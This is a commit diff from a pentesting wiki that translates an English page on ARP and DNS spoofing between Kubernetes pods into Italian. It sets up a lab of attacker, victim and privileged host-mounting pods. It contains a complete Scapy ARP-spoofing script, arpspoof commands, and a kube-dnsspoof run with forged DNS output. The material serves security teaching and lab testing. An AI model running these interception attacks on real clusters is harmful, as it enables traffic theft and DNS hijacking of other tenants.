mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 19:55:04 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -2,94 +2,93 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Introduzione
|
||||
|
||||
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
|
||||
In Kubernetes, si osserva che un comportamento predefinito consente l'instaurazione di connessioni tra **tutti i container che risiedono sullo stesso nodo**. Questo si applica indipendentemente dalle distinzioni di namespace. Tale connettività si estende fino al **Livello 2** (Ethernet). Di conseguenza, questa configurazione espone potenzialmente il sistema a vulnerabilità. In particolare, apre la possibilità per un **container malevolo** di eseguire un **attacco di ARP spoofing** contro altri container situati sullo stesso nodo. Durante un attacco di questo tipo, il container malevolo può ingannevolmente intercettare o modificare il traffico di rete destinato ad altri container.
|
||||
|
||||
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
|
||||
Gli attacchi di ARP spoofing coinvolgono l'**attaccante che invia messaggi ARP falsificati** (Address Resolution Protocol) su una rete locale. Questo porta al collegamento dell'**indirizzo MAC dell'attaccante con l'indirizzo IP di un computer o server legittimo sulla rete**. Dopo l'esecuzione riuscita di un attacco di questo tipo, l'attaccante può intercettare, modificare o persino fermare i dati in transito. L'attacco viene eseguito sul Livello 2 del modello OSI, motivo per cui la connettività predefinita in Kubernetes a questo livello solleva preoccupazioni di sicurezza.
|
||||
|
||||
In the scenario 4 machines are going to be created:
|
||||
|
||||
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
|
||||
- **ubuntu-attack**: **Malicious** container in default namespace
|
||||
- **ubuntu-victim**: **Victim** machine in kube-system namespace
|
||||
- **mysql**: **Victim** machine in default namespace
|
||||
Nello scenario verranno create 4 macchine:
|
||||
|
||||
- ubuntu-pe: macchina privilegiata per scappare al nodo e controllare le metriche (non necessaria per l'attacco)
|
||||
- **ubuntu-attack**: **container malevolo** nel namespace predefinito
|
||||
- **ubuntu-victim**: macchina **vittima** nel namespace kube-system
|
||||
- **mysql**: macchina **vittima** nel namespace predefinito
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-pe
|
||||
name: ubuntu-pe
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-pe
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
runAsUser: 0
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never
|
||||
hostIPC: true
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-pe
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
runAsUser: 0
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never
|
||||
hostIPC: true
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-attack
|
||||
labels:
|
||||
app: ubuntu
|
||||
name: ubuntu-attack
|
||||
labels:
|
||||
app: ubuntu
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-attack
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-attack
|
||||
restartPolicy: Never
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-victim
|
||||
namespace: kube-system
|
||||
name: ubuntu-victim
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-victim
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-victim
|
||||
restartPolicy: Never
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: mysql
|
||||
name: mysql
|
||||
spec:
|
||||
containers:
|
||||
- image: mysql:5.6
|
||||
ports:
|
||||
- containerPort: 3306
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: mysql
|
||||
env:
|
||||
- name: MYSQL_ROOT_PASSWORD
|
||||
value: mysql
|
||||
restartPolicy: Never' | kubectl apply -f -
|
||||
containers:
|
||||
- image: mysql:5.6
|
||||
ports:
|
||||
- containerPort: 3306
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: mysql
|
||||
env:
|
||||
- name: MYSQL_ROOT_PASSWORD
|
||||
value: mysql
|
||||
restartPolicy: Never' | kubectl apply -f -
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
## Rete Kubernetes di Base
|
||||
|
||||
## Basic Kubernetes Networking
|
||||
|
||||
If you want more details about the networking topics introduced here, go to the references.
|
||||
Se desideri maggiori dettagli sugli argomenti di rete introdotti qui, vai ai riferimenti.
|
||||
|
||||
### ARP
|
||||
|
||||
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
|
||||
In generale, **la rete pod-to-pod all'interno del nodo** è disponibile tramite un **bridge** che collega tutti i pod. Questo bridge è chiamato “**cbr0**”. (Alcuni plugin di rete installeranno il proprio bridge.) Il **cbr0 può anche gestire ARP** (Address Resolution Protocol) risoluzione. Quando un pacchetto in arrivo arriva a cbr0, può risolvere l'indirizzo MAC di destinazione utilizzando ARP.
|
||||
|
||||
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
|
||||
Questo fatto implica che, per impostazione predefinita, **ogni pod in esecuzione nello stesso nodo** sarà in grado di **comunicare** con qualsiasi altro pod nello stesso nodo (indipendentemente dallo spazio dei nomi) a livello ethernet (livello 2).
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
|
||||
> Pertanto, è possibile eseguire attacchi di **ARP Spoofing tra pod nello stesso nodo.**
|
||||
|
||||
### DNS
|
||||
|
||||
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
|
||||
|
||||
Negli ambienti kubernetes troverai solitamente 1 (o più) **servizi DNS in esecuzione** solitamente nello spazio dei nomi kube-system:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
Namespace: kube-system
|
||||
Labels: k8s-app=kube-dns
|
||||
kubernetes.io/cluster-service=true
|
||||
kubernetes.io/name=KubeDNS
|
||||
kubernetes.io/cluster-service=true
|
||||
kubernetes.io/name=KubeDNS
|
||||
Annotations: prometheus.io/port: 9153
|
||||
prometheus.io/scrape: true
|
||||
prometheus.io/scrape: true
|
||||
Selector: k8s-app=kube-dns
|
||||
Type: ClusterIP
|
||||
IP Families: <none>
|
||||
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
Nelle informazioni precedenti puoi vedere qualcosa di interessante, l'**IP del servizio** è **10.96.0.10** ma l'**IP del pod** che esegue il servizio è **172.17.0.2.**
|
||||
|
||||
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
|
||||
|
||||
If you check the DNS address inside any pod you will find something like this:
|
||||
|
||||
Se controlli l'indirizzo DNS all'interno di qualsiasi pod troverai qualcosa di simile a questo:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
Tuttavia, il pod **non sa** come arrivare a quell'**indirizzo** perché l'**intervallo pod** in questo caso è 172.17.0.10/26.
|
||||
|
||||
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
|
||||
|
||||
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||
Pertanto, il pod invierà le **richieste DNS all'indirizzo 10.96.0.10** che sarà **tradotto** dal cbr0 **in** **172.17.0.2**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
|
||||
> Questo significa che una **richiesta DNS** di un pod andrà **sempre** al **bridge** per **tradurre** l'**IP del servizio nell'IP dell'endpoint**, anche se il server DNS si trova nella stessa subnet del pod.
|
||||
>
|
||||
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||
> Sapendo questo, e sapendo che **gli attacchi ARP sono possibili**, un **pod** in un nodo sarà in grado di **intercettare il traffico** tra **ogni pod** nella **subnet** e il **bridge** e **modificare** le **risposte DNS** dal server DNS (**DNS Spoofing**).
|
||||
>
|
||||
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
|
||||
> Inoltre, se il **server DNS** si trova nello **stesso nodo dell'attaccante**, l'attaccante può **intercettare tutte le richieste DNS** di qualsiasi pod nel cluster (tra il server DNS e il bridge) e modificare le risposte.
|
||||
|
||||
## ARP Spoofing in pods in the same Node
|
||||
## ARP Spoofing nei pod nello stesso Nodo
|
||||
|
||||
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||
Il nostro obiettivo è **rubare almeno la comunicazione dall'ubuntu-victim al mysql**.
|
||||
|
||||
### Scapy
|
||||
|
||||
```bash
|
||||
python3 /tmp/arp_spoof.py
|
||||
Enter Target IP:172.17.0.10 #ubuntu-victim
|
||||
@@ -187,75 +180,69 @@ ngrep -d eth0
|
||||
from scapy.all import *
|
||||
|
||||
def getmac(targetip):
|
||||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||||
return targetmac
|
||||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||||
return targetmac
|
||||
|
||||
def spoofarpcache(targetip, targetmac, sourceip):
|
||||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||
send(spoofed, verbose= False)
|
||||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||||
send(spoofed, verbose= False)
|
||||
|
||||
def restorearp(targetip, targetmac, sourceip, sourcemac):
|
||||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||
send(packet, verbose=False)
|
||||
print("ARP Table restored to normal for", targetip)
|
||||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||||
send(packet, verbose=False)
|
||||
print("ARP Table restored to normal for", targetip)
|
||||
|
||||
def main():
|
||||
targetip= input("Enter Target IP:")
|
||||
gatewayip= input("Enter Gateway IP:")
|
||||
targetip= input("Enter Target IP:")
|
||||
gatewayip= input("Enter Gateway IP:")
|
||||
|
||||
try:
|
||||
targetmac= getmac(targetip)
|
||||
print("Target MAC", targetmac)
|
||||
except:
|
||||
print("Target machine did not respond to ARP broadcast")
|
||||
quit()
|
||||
try:
|
||||
targetmac= getmac(targetip)
|
||||
print("Target MAC", targetmac)
|
||||
except:
|
||||
print("Target machine did not respond to ARP broadcast")
|
||||
quit()
|
||||
|
||||
try:
|
||||
gatewaymac= getmac(gatewayip)
|
||||
print("Gateway MAC:", gatewaymac)
|
||||
except:
|
||||
print("Gateway is unreachable")
|
||||
quit()
|
||||
try:
|
||||
print("Sending spoofed ARP responses")
|
||||
while True:
|
||||
spoofarpcache(targetip, targetmac, gatewayip)
|
||||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||
except KeyboardInterrupt:
|
||||
print("ARP spoofing stopped")
|
||||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||
quit()
|
||||
try:
|
||||
gatewaymac= getmac(gatewayip)
|
||||
print("Gateway MAC:", gatewaymac)
|
||||
except:
|
||||
print("Gateway is unreachable")
|
||||
quit()
|
||||
try:
|
||||
print("Sending spoofed ARP responses")
|
||||
while True:
|
||||
spoofarpcache(targetip, targetmac, gatewayip)
|
||||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||||
except KeyboardInterrupt:
|
||||
print("ARP spoofing stopped")
|
||||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||||
quit()
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
main()
|
||||
|
||||
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
|
||||
### ARPSpoof
|
||||
|
||||
```bash
|
||||
apt install dsniff
|
||||
arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
|
||||
## DNS Spoofing
|
||||
|
||||
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
|
||||
Come già accennato, se **comprometti un pod nello stesso nodo del pod del server DNS**, puoi **MitM** con **ARPSpoofing** il **bridge e il pod DNS** e **modificare tutte le risposte DNS**.
|
||||
|
||||
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
|
||||
Hai un ottimo **tool** e **tutorial** per testare questo in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
Nel nostro scenario, **scarica** il **tool** nel pod attaccante e crea un \*\*file chiamato `hosts` \*\* con i **domini** che vuoi **spoofare** come:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
|
||||
Perform the attack to the ubuntu-victim machine:
|
||||
|
||||
Esegui l'attacco alla macchina ubuntu-victim:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -272,23 +259,18 @@ dig google.com
|
||||
;; ANSWER SECTION:
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
|
||||
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
|
||||
> Se provi a creare il tuo script di spoofing DNS, se **modifichi solo la risposta DNS** questo **non** funzionerà, perché la **risposta** avrà un **src IP** l'indirizzo IP del **pod** **maligno** e **non sarà** **accettata**.\
|
||||
> Devi generare un **nuovo pacchetto DNS** con il **src IP** del **DNS** dove la vittima invia la richiesta DNS (che è qualcosa come 172.16.0.2, non 10.96.0.10, quello è l'IP del servizio DNS K8s e non l'IP del server DNS, maggiori informazioni su questo nell'introduzione).
|
||||
|
||||
## Capturing Traffic
|
||||
## Cattura del Traffico
|
||||
|
||||
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
|
||||
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
|
||||
Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un visualizzatore di traffico API **semplice ma potente per Kubernetes** che ti consente di **visualizzare tutta la comunicazione API** tra microservizi per aiutarti a debug e risolvere regressioni.\
|
||||
Installerà agenti nei pod selezionati e raccoglierà le loro informazioni sul traffico e te le mostrerà in un server web. Tuttavia, avrai bisogno di elevate autorizzazioni K8s per questo (e non è molto furtivo).
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user